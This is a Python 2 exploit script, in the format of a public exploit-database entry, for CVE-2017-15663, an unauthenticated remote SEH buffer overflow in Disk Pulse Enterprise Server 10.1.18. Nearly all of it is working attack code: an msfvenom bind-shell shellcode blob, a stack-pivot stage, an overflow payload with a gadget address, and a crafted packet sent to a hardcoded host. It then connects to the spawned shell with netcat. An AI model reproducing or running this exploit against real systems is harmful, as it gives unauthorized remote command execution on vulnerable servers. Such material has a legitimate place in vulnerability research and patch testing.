Disk Pulse Enterprise 10.1.18 – Remote Buffer Overflow
# Exploit Title: Disk Pulse Enterprise Server v10.1.18 - Buffer Overflow # Exploit Author: Ahmad Mahfouz # Description: Disk Pule Enterprise Server Unauthenticated Remote Buffer Overflow SEH # Contact: http://twitter.com/eln1x # Date: 12/01/2018 # CVE: CVE-2017-15663 # Version: v10.1.18 # Tested on: Windows 7 x64 # Software Link: http://www.diskpulse.com/setups/diskpulsesrv_setup_v10.1.18.exe from struct import pack from os import system from sys import exit from time import sleep import socket port = 9120 host = '192.168.72.231' stage1 = "\x83\xc4\x7f" *17 # metasm > add esp,127 stage1 += "\x83\xc4\x04" # metasm > add esp,4 stage1 += "\xff\xe4" # metasm > jmp esp # msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=1337 -f py -b '\x02' buf = "\x90" * 10 buf += "\xb8\x01\x69\xed\x6f\xdd\xc3\xd9\x74\x24\xf4\x5a\x31" buf += "\xc9\xb1\x53\x31\x42\x12\x83\xea\xfc\x03\x43\x67\x0f" buf += "\x9a\xbf\x9f\x4d\x65\x3f\x60\x32\xef\xda\x51\x72\x8b" buf += "\xaf\xc2\x42\xdf\xfd\xee\x29\x8d\x15\x64\x5f\x1a\x1a" buf += "\xcd\xea\x7c\x15\xce\x47\xbc\x34\x4c\x9a\x91\x96\x6d" buf += "\x55\xe4\xd7\xaa\x88\x05\x85\x63\xc6\xb8\x39\x07\x92" buf += "\x00\xb2\x5b\x32\x01\x27\x2b\x35\x20\xf6\x27\x6c\xe2" buf += "\xf9\xe4\x04\xab\xe1\xe9\x21\x65\x9a\xda\xde\x74\x4a" buf += "\x13\x1e\xda\xb3\x9b\xed\x22\xf4\x1c\x0e\x51\x0c\x5f" buf += "\xb3\x62\xcb\x1d\x6f\xe6\xcf\x86\xe4\x50\x2b\x36\x28" buf += "\x06\xb8\x34\x85\x4c\xe6\x58\x18\x80\x9d\x65\x91\x27" buf += "\x71\xec\xe1\x03\x55\xb4\xb2\x2a\xcc\x10\x14\x52\x0e" buf += "\xfb\xc9\xf6\x45\x16\x1d\x8b\x04\x7f\xd2\xa6\xb6\x7f" buf += "\x7c\xb0\xc5\x4d\x23\x6a\x41\xfe\xac\xb4\x96\x01\x87" buf += "\x01\x08\xfc\x28\x72\x01\x3b\x7c\x22\x39\xea\xfd\xa9" buf += "\xb9\x13\x28\x47\xb1\xb2\x83\x7a\x3c\x04\x74\x3b\xee" buf += "\xed\x9e\xb4\xd1\x0e\xa1\x1e\x7a\xa6\x5c\xa1\x81\x0e" buf += "\xe8\x47\xe3\x60\xbc\xd0\x9b\x42\x9b\xe8\x3c\xbc\xc9" buf += "\x40\xaa\xf5\x1b\x56\xd5\x05\x0e\xf0\x41\x8e\x5d\xc4" buf += "\x70\x91\x4b\x6c\xe5\x06\x01\xfd\x44\xb6\x16\xd4\x3e" buf += "\x5b\x84\xb3\xbe\x12\xb5\x6b\xe9\x73\x0b\x62\x7f\x6e" buf += "\x32\xdc\x9d\x73\xa2\x27\x25\xa8\x17\xa9\xa4\x3d\x23" buf += "\x8d\xb6\xfb\xac\x89\xe2\x53\xfb\x47\x5c\x12\x55\x26" buf += "\x36\xcc\x0a\xe0\xde\x89\x60\x33\x98\x95\xac\xc5\x44" buf += "\x27\x19\x90\x7b\x88\xcd\x14\x04\xf4\x6d\xda\xdf\xbc" buf += "\x9e\x91\x7d\x94\x36\x7c\x14\xa4\x5a\x7f\xc3\xeb\x62" buf += "\xfc\xe1\x93\x90\x1c\x80\x96\xdd\x9a\x79\xeb\x4e\x4f" buf += "\x7d\x58\x6e\x5a" shellcode = buf payload = 'A' * 124 #offset payload += '\xeb\x09\x90\x90' #jmp over seh retrun value payload += '\xcd\x89\x06\x10' #0x100689cd : pop ebp # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\Disk Pulse Enterprise\bin\libspp.dll) payload += stage1 payload += '\x90' * (1000 - len(payload) - len(shellcode)) payload += shellcode header = '\x75\x19\xba\xab' header += '\x03\x00\x00\x00' header += '\x00\x40\x00\x00' header += pack('<I', len(payload)) header += pack('<I', len(payload)) header += pack('<I', ord(payload[-1])) packet = header packet += payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "[*] Testing connection to tatget %s:%s" %(host,port) s.connect((host, port)) except: print "[-] Unable to communicate to target %s:%s" %(host,port) exit() s.send(packet) print "[*] Payload Sent.." print "[*] Connecting to bind shell %s:1337 .." %host sleep(3) system("nc %s 1337"%host) |